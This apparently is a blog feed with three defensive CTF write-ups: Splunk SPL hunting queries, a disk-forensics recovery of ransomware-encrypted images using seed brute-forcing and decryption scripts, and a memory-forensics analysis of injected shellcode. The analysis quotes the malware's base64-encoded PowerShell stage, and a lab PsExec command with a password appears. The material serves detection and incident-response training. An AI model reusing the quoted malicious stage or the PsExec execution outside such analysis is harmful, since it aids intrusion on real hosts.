data.</p><pre>index=&quot;main&quot; EventCode=11 (TargetFilename=&quot;*.zip&quot; OR TargetFilename=&quot;*.rar&quot; OR TargetFilename=&quot;*.7z&quot;)<br>| stats count by ComputerName,User,TargetFilename<br>| sort - count</pre><h4>Detecting PowerShell or Edge Downloads</h4><p>Detecting files created by PowerShell or downloaded using Edge.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=11 Image=&quot;*powershell.exe*&quot;<br>| stats count by Image,TargetFilename<br>| sort + count</pre><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=11 Image=&quot;*msedge.exe&quot; TargetFilename=&quot;*Zone.Identifier&quot;<br>| stats count by TargetFilename<br>| sort + count</pre><h4>Detecting Execution from Suspicious Locations</h4><p>Detecting Processes executed from unusual locations such as Downloads.</p><pre>index=&quot;main&quot; EventCode=1<br>| regex Image=&quot;C:\\\\Users\\\\.*\\\\Downloads\\\\.*&quot;<br>| stats count by Image</pre><h4>Detecting Executables or DLLs Outside Windows</h4><p>Detecting the creation of .exe or .dll files outside the Windows directory.</p><pre>index=&quot;main&quot; EventCode=11 (TargetFilename=&quot;*.exe&quot; OR TargetFilename=&quot;*.dll&quot;) TargetFilename!=&quot;*\\windows\\*&quot;<br>| stats count by User,TargetFilename<br>| sort + count</pre><h4>Detecting Misspelled Legitimate Binaries</h4><p>Detecting names similar to legitimate binaries such as PsExec, which may be used for Evasion.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=1<br>(CommandLine=&quot;*psexe*.exe&quot; NOT (CommandLine=&quot;*PSEXESVC.exe&quot; OR CommandLine=&quot;*PsExec64.exe&quot;))<br>OR (ParentCommandLine=&quot;*psexe*.exe&quot; NOT (ParentCommandLine=&quot;*PSEXESVC.exe&quot; OR ParentCommandLine=&quot;*PsExec64.exe&quot;))<br>OR (ParentImage=&quot;*psexe*.exe&quot; NOT (ParentImage=&quot;*PSEXESVC.exe&quot; OR ParentImage=&quot;*PsExec64.exe&quot;))<br>OR (Image=&quot;*psexe*.exe&quot; NOT (Image=&quot;*PSEXESVC.exe&quot; OR Image=&quot;*PsExec64.exe&quot;))<br>| table Image,CommandLine,ParentImage,ParentCommandLine</pre><h4>Detecting Non-standard Ports</h4><p>Detecting Network Connections using uncommon Ports.</p><pre>index=&quot;main&quot; EventCode=3 NOT (DestinationPort=80 OR DestinationPort=443 OR DestinationPort=22 OR DestinationPort=21)<br>| stats count by SourceIp,DestinationIp,DestinationPort<br>| sort - count</pre><h4>Key Takeaway</h4><p>We can detect attacker activity either through <strong>Known TTPs</strong> or by searching for <strong>Unusual Behavior</strong>, while tuning the Searches to reduce <strong>False Positives</strong>.</p><p><strong><em>Q1: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the password utilized during the PsExec activity. Enter it as your answer.</em></strong></p><p>This question asks us to identify the <strong>Password used during the execution of PsExec</strong>.</p><p>We will use the following query to search for Events related to PsExec and display the CommandLine and Parent Process to identify the command that was executed:</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=1 CommandLine=&quot;*psexec*&quot;<br>| table Image,CommandLine,ParentImage,ParentCommandLine</pre><h4>Command Explanation</h4><ul><li>index=&quot;main&quot; → Searches within the main index.</li><li>sourcetype=&quot;WinEventLog:Sysmon&quot; → Searches Sysmon Windows Event Logs.</li><li>EventCode=1 → Process Creation events.</li><li>CommandLine=&quot;*psexec*&quot; → Searches for Processes whose CommandLine contains psexec.</li><li>table → Displays the Image, CommandLine, Parent Process, and Parent CommandLine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJAZ-3jD6pz1ajj_b-QgeA.png" /></figure><p>We can see the following command in the results:</p><pre>psexec64.exe \\10.0.0.47 -u waldo -p Password@123 whoami</pre><p>From the CommandLine, we can identify the Password used with PsExec.</p><pre>Answer: Password@123</pre><h3>3- Detecting Attacker Behavior With Splunk Based On Analytics</h3><p>This section explains how to use <strong>Statistical Analysis and Anomaly Detection</strong> in Splunk to detect abnormal behavior by comparing current activity against the normal baseline.</p><h4>Detecting Abnormal Network Connections</h4><p>Detecting Processes that make an unusually high number of Network Connections compared to the baseline over a 24-hour period.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=3<br>| bin _time span=1h<br>| stats count as NetworkConnections by _time, Image<br>| streamstats time_window=24h avg(NetworkConnections) as avg stdev(NetworkConnections) as stdev by Image<br>| eval isOutlier=if(NetworkConnections &gt; (avg + (0.5*stdev)), 1, 0)<br>| search isOutlier=1</pre><h4>Detecting Abnormally Long Commands</h4><p>Detecting cmd.exe Processes that use unusually long CommandLines.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; Image=*cmd.exe<br>| eval len=len(CommandLine)<br>| table User, len, CommandLine<br>| sort - len</pre><h4>Detecting Abnormal cmd.exe Activity</h4><p>Detecting abnormal cmd.exe execution activity by comparing the number of executions with the average and standard deviation.</p><pre>index=&quot;main&quot; EventCode=1 (CommandLine=&quot;*cmd.exe*&quot;)<br>| bucket _time span=1h<br>| stats count as cmdCount by _time User CommandLine<br>| eventstats avg(cmdCount) as avg stdev(cmdCount) as stdev<br>| eval isOutlier=if(cmdCount &gt; avg+1.5*stdev, 1, 0)<br>| search isOutlier=1</pre><h4>Detecting Processes Loading Multiple DLLs</h4><p>Detecting Processes that load a large number of different DLLs within one hour.</p><pre>index=&quot;main&quot; EventCode=7<br>| bucket _time span=1h<br>| stats dc(ImageLoaded) as unique_dlls_loaded by _time, Image<br>| where unique_dlls_loaded &gt; 3<br>| stats count by Image, unique_dlls_loaded</pre><h4>Detecting Repeated Process Creation</h4><p>Detecting Processes that were executed more than once on the same computer.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=1<br>| transaction ComputerName, Image<br>| where mvcount(ProcessGuid) &gt; 1<br>| stats count by Image, ParentImage</pre><h4>Key Takeaway</h4><p>Using <strong>Analytics and Anomaly Detection</strong> helps us detect suspicious behavior by establishing a normal baseline and looking for deviations from it, while reviewing the context to reduce <strong>False Positives</strong>.</p><p><strong><em>Q1: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through an analytics-driven SPL search against all data the source process images that are creating an unusually high number of threads in other processes. Enter the outlier process name as your answer where the number of injected threads is greater than two standard deviations above the average. Answer format: _.exe</em></strong></p><p>This question asks us to identify the <strong>Source Process</strong> that creates an unusually large number of Threads inside other Processes, where the number is greater than the <strong>average number of Threads by more than Two Standard Deviations</strong>.</p><p>We will use the following query to search all data for CreateRemoteThread events:</p><pre>index=* EventCode=8<br>| stats count as ThreadCount by SourceImage<br>| eventstats avg(ThreadCount) as avg stdev(ThreadCount) as stdev<br>| eval isOutlier=if(ThreadCount &gt; avg + (2*stdev), 1, 0)<br>| search isOutlier=1</pre><h4>Command Explanation</h4><ul><li>index=* → Searches across all indexes.</li><li>EventCode=8 → Searches for <strong>CreateRemoteThread</strong> events, which are related to creating Threads inside another Process.</li><li>stats count as ThreadCount by SourceImage → Counts the number of Threads created by each SourceImage.</li><li>eventstats avg(ThreadCount) as avg stdev(ThreadCount) as stdev → Calculates the <strong>average number of Threads</strong> and the <strong>Standard Deviation</strong> while keeping the original results.</li><li>eval isOutlier=if(...) → Identifies Processes whose ThreadCount is greater than the <strong>average + two times the Standard Deviation</strong>.</li><li>search isOutlier=1 → Displays only the Outliers.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBq_exFvW5ww1PZo6W3jxQ.png" /></figure><p>The result contains:</p><pre>SourceImage: C:\Users\waldo\Downloads\randomfile.exe<br>ThreadCount: 34<br>avg: 10<br>stdev: 11.387127235025815<br>isOutlier: 1</pre><p>Since isOutlier=1, this means that the number of Threads created by this Process exceeded the threshold specified in the question. Therefore, it is the <strong>outlier process</strong>.</p><pre>Answer: randomfile.exe</pre><h3>6- Skills Assessment</h3><h4>Scenario</h4><p>This skills assessment section builds upon the progress made in the Intrusion Detection With Splunk (Real-world Scenario) section. Our objective is to identify any missing components of the attack chain and trace the malicious process responsible for initiating the infection.</p><p><strong><em>Q1: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the process that created remote threads in rundll32.exe. Answer format: _.exe</em></strong></p><p>This question asks us to identify the <strong>Process that created Remote Threads inside </strong><strong>rundll32.exe</strong>.</p><p>We will use the following query to search all data for CreateRemoteThread events targeting rundll32.exe:</p><pre>index=* sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=8 TargetImage=&quot;C:\\Windows\\System32\\rundll32.exe&quot;<br>| stats count by SourceImage, TargetImage</pre><h4>Query Explanation</h4><ul><li>index=* → Searches across all indexes.</li><li>sourcetype=&quot;WinEventLog:Sysmon&quot; → Searches within Sysmon Windows Event Logs.</li><li>EventCode=8 → Searches for <strong>CreateRemoteThread events</strong>.</li><li>TargetImage=&quot;C:\\Windows\\System32\\rundll32.exe&quot; → Specifies that the Target Process where the Remote Thread was created is rundll32.exe.</li><li>stats count by SourceImage, TargetImage → Counts the events for each SourceImage and TargetImage to identify which Process created the Remote Threads inside rundll32.exe`.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mv3gsIKH74YOwOqL0-677w.png" /></figure><p>The results show:</p><pre>SourceImage = C:\Users\waldo\Downloads\randomfile.exe<br>TargetImage = C:\Windows\System32\rundll32.exe<br>Count = 6</pre><p>Therefore, randomfile.exe is the Process that created the Remote Threads inside rundll32.exe.</p><pre>Answer: randomfile.exe</pre><p><strong><em>Q2: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the process that started the infection. Answer format: _.exe</em></strong></p><p>This question asks us to identify the <strong>Process that started the infection</strong>.</p><p>From the previous question, we know that randomfile.exe created <strong>Remote Threads</strong> inside rundll32.exe. Therefore, we need to trace the Process Activity to determine which Process was involved in starting the infection.</p><p>After reviewing the Process Activity and the Process Chain, we found that rundll32.exe was the Process that started the infection, while randomfile.exe was the Process that created the Remote Threads inside it.</p><pre>Answer: rundll32.exe</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebea80e1014f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dead Endpoint Room | Tryhackme Blue Team CTF 26]]></title>
            <link>https://medium.com/@0xgbreil/dead-endpoint-room-tryhackme-blue-team-ctf-26-d9b6fa973104?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9b6fa973104</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[dead-endpoint]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Mon, 26 Oct 2026 13:53:28 GMT</pubDate>
            <atom:updated>2026-10-26T13:53:28.578Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello.</p><p>Today, I will solve<strong> Dead Endpoint Room </strong>from the <strong>TryHackMe Blue Team CTF 2026</strong>, also known as the <strong>It’s Downtime!</strong> competition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QPIppvH8V347QpgmuccEcQ.png" /></figure><blockquote>Challenge Description:</blockquote><blockquote>Staff arrived to find their internal photo gallery unusable and its images unreadable. The Linux server’s disk has been preserved, but the cause is still unclear. Reconstruct how the application was compromised, analyze the executable left behind, and find a way to recover the affected images.</blockquote><p><strong><em>Q1: Which application endpoint was abused to execute commands on the server?</em></strong></p><p>This question asks us to find the <strong>application endpoint that was exploited to execute commands on the server</strong>.</p><p>We will first start the lab. We will notice that there is a disk.img file. If we use the file command, we can see that it is a <strong>Disk Image containing a Linux partition</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cNzO1Tzy5zz9HpmvXzanuQ.png" /></figure><p>Next, we will mount the disk image so we can access the files inside it using the following commands:</p><pre>sudo mkdir -p /mnt/forensic<br>sudo mount -o ro,loop,offset=$((2099200*512)) disk.img /mnt/forensic<br>ls -la /mnt/forensic</pre><p>The first command creates the /mnt/forensic directory to use as the mount point.</p><p>The second command mounts the <strong>partition inside </strong><strong>disk.img</strong> as read-only using a <strong>loop device</strong>, while specifying the partition&#39;s starting location using the offset.</p><p>The third command displays the files and directories inside the partition after mounting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NRCezSIyZzhz-VEo1VDdxg.png" /></figure><p>We will notice several Linux system directories. Since the question asks us to find the <strong>endpoint that was exploited to execute commands</strong>, the best place to look is:</p><pre>/var/log/</pre><p>This directory contains the logs for the system and its services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Ss_o3DBTIb5Jw5Qh0o0PQ.png" /></figure><p>We will notice a directory for <strong>Nginx</strong>, which contains the following file:</p><pre>gallery-access.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wj1aV1aw_-PE8BwsyuMvyw.png" /></figure><p>By searching through the log, Inside the gallery-access.log, we can see several requests, including:</p><pre>POST /api/albums/1/export HTTP/1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydkoLPqowwQJUVWGHoZrUA.png" /></figure><p>This request appeared multiple times, and immediately after each request, another request appeared to retrieve its corresponding export:</p><pre>GET /api/exports/8452cfc730ed4198<br>GET /exports/8452cfc730ed4198</pre><p>The same pattern was repeated again with other image files.</p><p>This indicates that /api/albums/1/export is the endpoint responsible for creating export operations, and this was the request used during the application exploitation.</p><p>Therefore, the endpoint exploited to execute commands was:</p><pre>Answer: /api/albums/1/export</pre><p><strong><em>Q2: What was the full path of the executable responsible for encrypting the images?</em></strong></p><p>While searching through the files and folders for any executable file related to the Gallery application, I found:</p><pre>/srv/gallery/.cache/.indexd</pre><p>After using the file command on the file, we found that it is:</p><pre>ELF 64-bit LSB pie executable</pre><p>This means that it is a <strong>Linux executable</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YuwgYh6X_SR8GoCgENXuQg.png" /></figure><pre>Answer: /srv/gallery/.cache/.indexd</pre><p><strong><em>Q3: What is the SHA-256 hash of that executable?</em></strong></p><p>We will use the sha256sum command to calculate the <strong>SHA-256 hash</strong> of the .indexd file:</p><pre>sha256sum /mnt/forensic/srv/gallery/.cache/.indexd</pre><p>We can see that the <strong>SHA-256 hash</strong> of the file is:</p><pre>6a0e5b25a919a94952b34e38d8e8b595036d1ef6a026bf5cca38a0d34459102f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjSkyhvopxXOwMPf4KYnOA.png" /></figure><pre>Answer: 6a0e5b25a919a94952b34e38d8e8b595036d1ef6a026bf5cca38a0d34459102f</pre><p><strong><em>Q4: Which encryption algorithm and mode protected the images?</em></strong></p><p>If we use the strings command on the .indexd file to display the <strong>strings contained in the file</strong>:</p><pre>strings -a /mnt/forensic/srv/gallery/.cache/.indexd | grep -Ei &#39;AES|CBC|CTR|GCM|ECB|ChaCha|encrypt|decrypt&#39;</pre><p>We will notice:</p><pre>EVP_EncryptUpdate<br>EVP_CIPHER_CTX_ctrl<br>EVP_EncryptInit_ex<br>EVP_aes_256_gcm<br>EVP_EncryptFinal_ex</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeXJ2tqXLqZHTmGDt9HRyw.png" /></figure><p>The presence of EVP_aes_256_gcm indicates that the images were encrypted using <strong>AES-256 in GCM mode</strong>.</p><pre>Answer: AES-256-GCM</pre><p><strong><em>Q5: What initial seed value was used to generate the encryption key?</em></strong></p><p>To determine the <strong>seed</strong> value used to generate the encryption key, we first need to understand how the program generates the key.</p><p>We used <strong>Ghidra</strong> to analyze the .indexd file. By tracing the functions, we found that the program uses a function based on the <strong>SplitMix64</strong> algorithm to generate the values.</p><p>We then searched for the source of the seed itself and found that the program uses:</p><pre>clock_gettime(0, &amp;local_1f8);</pre><p>It then calculates the <strong>seed in milliseconds</strong> using:</p><pre>local_200 = local_1f8.tv_sec * 1000<br>          + local_1f8.tv_nsec / 1000000;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u2NEma-yQWsOgoHP.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/0*cK21qeRA_vXBCy1l.png" /></figure><p>Since the encryptor was executed at approximately:</p><pre>05:36:54 UTC</pre><p>we know that the seed must be within the millisecond range for that second:</p><pre>1792474614000 → 1792474614999</pre><p>Instead of testing all the values manually, we used Python to <strong>brute-force</strong> every millisecond within this range. For each attempt, we generated an AES-256 key using SplitMix64 and compared the result with the beginning of the original JPEG.</p><pre>import struct<br>from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes<br><br># Extracted with: icat -o 2099200 disk.img &lt;inode&gt;<br>locked = open(&quot;yard_0147.jpg.locked&quot;, &quot;rb&quot;).read()   # encrypted file<br>plain  = open(&quot;yard_0147.jpg&quot;, &quot;rb&quot;).read()          # from exports/*.tar<br>M = (1 &lt;&lt; 64) - 1<br><br>def splitmix64(s):<br>    s = (s + 0x9e3779b97f4a7c15) &amp; M<br>    z = ((s ^ (s &gt;&gt; 30)) * 0xbf58476d1ce4e5b9) &amp; M<br>    z = ((z ^ (z &gt;&gt; 27)) * 0x94d049bb133111eb) &amp; M<br>    return s, z ^ (z &gt;&gt; 31)<br><br>for seed in range(1792474614000, 1792474615000):   # 05:36:54 UTC, every ms<br>    s, words = seed, []<br>    for _ in range(4):                              # 4 x 64 bits = AES-256 key<br>        s, v = splitmix64(s)<br>        words.append(v)<br><br>    for endian in (&quot;&lt;&quot;, &quot;&gt;&quot;):                       # byte order is unknown<br>        key = b&quot;&quot;.join(struct.pack(endian + &quot;Q&quot;, w) for w in words)<br>        for off in range(129):                      # ciphertext offset is unknown<br>            keystream = bytes(a ^ b for a, b in zip(locked[off:off+16], plain[:16]))<br>            dec = Cipher(algorithms.AES(key), modes.ECB()).decryptor()<br>            block = dec.update(keystream) + dec.finalize()<br>            if block[12:] == b&quot;\x00\x00\x00\x02&quot;:   # GCM counter = 2<br>                print(f&quot;[+] SEED: {seed}  endian={endian}  offset={off}  nonce={block[:12].hex()}&quot;)<br>                raise SystemExit<br><br>print(&quot;[-] No match&quot;)</pre><p>When we reached the correct value, the output matched the JPEG, allowing us to determine the seed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hE9S_GzxEKG42aVVjJzxKA.png" /></figure><pre>Answer: 1792474614662</pre><p><strong><em>Q6: What flag appears in the recovered inspection checklist?</em></strong></p><p>Once we have the seed, we can use a Python script to decrypt the images and retrieve the flag.</p><pre>import struct, subprocess<br>from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes<br><br>SEED = 1792474614662<br>M = (1 &lt;&lt; 64) - 1<br><br>def splitmix64(s):<br>    s = (s + 0x9e3779b97f4a7c15) &amp; M<br>    z = ((s ^ (s &gt;&gt; 30)) * 0xbf58476d1ce4e5b9) &amp; M<br>    z = ((z ^ (z &gt;&gt; 27)) * 0x94d049bb133111eb) &amp; M<br>    return s, z ^ (z &gt;&gt; 31)<br><br># 1) seed -&gt; AES-256 key<br>s, key = SEED, b&quot;&quot;<br>for _ in range(4):<br>    s, v = splitmix64(s)<br>    key += struct.pack(&quot;&lt;Q&quot;, v)<br><br># 2) + 3) read each .locked from the image and decrypt<br>files = {&quot;yard_0147.jpg&quot;: 262186, &quot;yard_0148.jpg&quot;: 263208, &quot;yard_0152.jpg&quot;: 263210}<br>for name, inode in files.items():<br>    data  = subprocess.check_output([&quot;icat&quot;, &quot;-o&quot;, &quot;2099200&quot;, &quot;disk.img&quot;, str(inode)])<br>    size  = struct.unpack(&quot;&lt;Q&quot;, data[8:16])[0]<br>    nonce = data[16:28]<br>    ct    = data[48:48 + size]<br>    pt = Cipher(algorithms.AES(key), modes.CTR(nonce + b&quot;\x00\x00\x00\x02&quot;)).decryptor().update(ct)<br>    open(name, &quot;wb&quot;).write(pt)<br>    print(name, &quot;OK&quot; if pt[:3] == b&quot;\xff\xd8\xff&quot; else &quot;FAIL&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DP5gSw4czcQD4KoS45h1Og.png" /></figure><pre>xdg-open yard_0152.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxsDLejBKrr5fdd5ePLRw.png" /></figure><pre>Answer: THM{R4ns0mw4r3_K3ys_Ar3_A_M4tt3r_0f_T1m3}</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9b6fa973104" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day-O Room | Tryhackme Blue Team CTF 26]]></title>
            <link>https://medium.com/@0xgbreil/day-o-room-tryhackme-blue-team-ctf-26-ad0fdbbb9816?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad0fdbbb9816</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[dayo]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 14:48:22 GMT</pubDate>
            <atom:updated>2026-10-25T14:48:22.577Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello.</p><p>Today, I will solve<strong> Day-O Room </strong>from the <strong>TryHackMe Blue Team CTF 2026</strong>, also known as the <strong>It’s Downtime!</strong> competition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LLvETYo3vhVfsBFZF6mcg.png" /><figcaption><a href="https://tryhackme.com/room/dayo">https://tryhackme.com/room/dayo</a></figcaption></figure><blockquote>Challenge Description:</blockquote><blockquote>Sophia Reyes opened a document review package. The preview froze, and an unexpected executable region appeared in the application’s memory.</blockquote><blockquote>With the workstation’s memory preserved, follow the evidence, uncover the hidden payload, and determine what it was prepared to do.</blockquote><p><strong><em>Q1: Which executable contains the suspicious payload?</em></strong></p><p>To identify the executable containing the malicious payload, we first need to identify the processes present in the memory image. We will use the pslist plugin, which displays the list of running processes and their PIDs, using the following command:</p><pre>vol -f memory.mem windows.pslist</pre><p>We will notice many processes, including ReviewClient.exe with PID 6260. Its presence as an independent process made it one of the processes we needed to investigate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQNkSlorQaJL1lMDTXPR_Q.png" /></figure><p>To confirm whether it contained the suspicious payload, I used the malfind plugin, which searches for suspicious memory regions inside processes. I specified the process using PID 6260 with the following command:</p><pre>vol -f memory.mem windows.malfind --pid 6260</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGIeLqQCvfPgJKZCFWbO9g.png" /></figure><p>We can see that ReviewClient.exe contains a PrivateMemory region with PAGE_EXECUTE_READWRITE permissions. This means the memory region is both writable and executable, which indicates that suspicious code may be present inside the process memory.</p><p>The Assembly code also indicates the presence of suspicious code inside the process. At the beginning of the payload, we can see instructions that push values onto the stack, including:</p><pre>push 0x63<br>push 0x6578<br>push 0x456e6957</pre><p>When we read these values as ASCII while taking little-endian order into account, they form the string WinExec, which is a Windows API used to execute a program or command. This further supports that this memory region contains executable code rather than ordinary data.</p><pre>Answer: ReviewClient.exe</pre><p><strong><em>Q2: What is the starting virtual address of its private executable memory region?</em></strong></p><p>In the previous question, when we used the malfind plugin, we noticed in the output a private memory region belonging to the ReviewClient.exe process with PAGE_EXECUTE_READWRITE permissions. The Start VPN column shows the starting address of this memory region, which is 0x8e0000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLt_m1kmVspoCAIKiFFbnQ.png" /></figure><pre>Answer: 0x8e0000</pre><p><strong><em>Q3: Which file associated with the process also contains the same payload?</em></strong></p><p>To identify the files associated with the process that may contain the same payload, we will use the filescan plugin, which allows us to search for files present in the memory image.</p><p>To save time, I found the DocumentReview folder, which is the same folder containing the ReviewClient.exe associated with the process. It also contains a review-cover.png file and a review-cache.dat file, as shown in the output.</p><pre>vol -f memory.mem windows.filescan | grep -i &quot;DocumentReview&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpQLacTzE7tGSpmZtKMGUw.png" /></figure><p>Since the question asks for a file associated with the process that contains the same payload, review-cover.png is the required file.</p><pre>Answer: review-cover.png</pre><p><strong><em>Q4: Which MITRE ATT&amp;CK sub-technique best describes how the payload is stored in the recovered PNG file?</em></strong></p><p>If we search within the <strong>MITRE ATT&amp;CK</strong> framework, we will find that the appropriate technique is <strong>Obfuscated Files or Information: Embedded Payloads</strong>, which is sub-technique <strong>T1027.009</strong>. It describes hiding or embedding a payload inside another file, such as a PNG file, instead of storing it as a separate file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rg1BnyKsVJmZA-8uAyNxjw.png" /><figcaption><a href="https://attack.mitre.org/techniques/T1027/009/">https://attack.mitre.org/techniques/T1027/009/</a></figcaption></figure><pre>Answer: T1027.009</pre><p><strong><em>Q5: Which Windows API does the payload call to launch its next stage?</em></strong></p><p>This question asks us to find the name of the <strong>Windows API</strong> that the payload calls to execute the <strong>next stage</strong>.</p><p>We will dump the suspicious ReviewClient.exe process with PID 6260 using the malfind plugin with the following command:</p><pre>vol -f /Desktop/artifacts/memory.mem windows.malfind --pid 6260 --dump</pre><p>Then, we will use <strong>Speakeasy</strong> to emulate the extracted payload and identify the Windows API calls it makes during execution, using the following command:</p><pre>speakeasy -t pid.6260.vad.0x8e0000-0x8e0fff.dmp -r -a x86</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zCdiq23mghfcS-X0WigcpQ.png" /></figure><p>In the output, we can see that the payload called:</p><pre>kernel32.WinExec</pre><p>We can also see that it used this API to execute:</p><pre>powershell.exe</pre><p>This indicates that the payload uses kernel32.WinExec to execute the <strong>next stage</strong>, which consists of a PowerShell command containing an EncodedCommand.</p><pre>Answer: kernel32.WinExec</pre><p><strong><em>Q6: What encryption key does the decoded stage use to decrypt the document cache?</em></strong></p><p>This question asks us to find the encryption key used by the <strong>Decoded Stage</strong> to decrypt the review-cache.dat file.</p><p>We will copy the PowerShell code from the EncodedCommand that we obtained from the <strong>Speakeasy</strong> output.</p><pre>JABrAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGYAWABGAEsAYwBtAGYAbwBpAHIAdwBhAC8AUwBJADQATQBNAHQAMAAxADgAaABBADkAbgBmAC8ARgBsACsAKwB5AGMARQAwAFcAVgA4AEcAKwBxAGcAPQAnACkAOwAkAGIAPQBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAnAHIAZQB2AGkAZQB3AC0AYwBhAGMAaABlAC4AZABhAHQAJwApADsAJABhAD0AWwBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACQAYQAuAEsAZQB5AD0AJABrADsAJABhAC4ASQBWAD0AJABiAFsAMAAuAC4AMQA1AF0AOwAkAGEALgBNAG8AZABlAD0AJwBDAEIAQwAnADsAJABhAC4AUABhAGQAZABpAG4AZwA9ACcAUABLAEMAUwA3ACcAOwAkAGQAPQAkAGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiACwAMQA2ACwAJABiAC4ATABlAG4AZwB0AGgALQAxADYAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJwByAGUAdgBpAGUAdwAtAGMAYQBjAGgAZQAuAHoAaQBwACcALAAkAGQAKQA=</pre><p>Then, we will go to CyberChef and use the following operations:</p><pre>From Base64<br>Remove Null Bytes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYttithfJnzPKiMxR-50ig.png" /></figure><p>We will find that the EncodedCommand has been decoded into clear PowerShell code. Among the code, we can find:</p><pre>$k=[Convert]::FromBase64String(&#39;fXFKcmfoirwa/SI4MMt018hA9nf/Fl++ycE0WV8G+qg=&#39;)</pre><p>This part converts the Base64 value into the <strong>encryption key</strong> used by AES to decrypt review-cache.dat.</p><p>We will copy the Base64 value inside FromBase64String, then decode it and convert the result to Hex using the following operations:</p><pre>From Base64<br>To Hex</pre><p>We will get a 32-byte key, which is a 256-bit AES key, in Hex 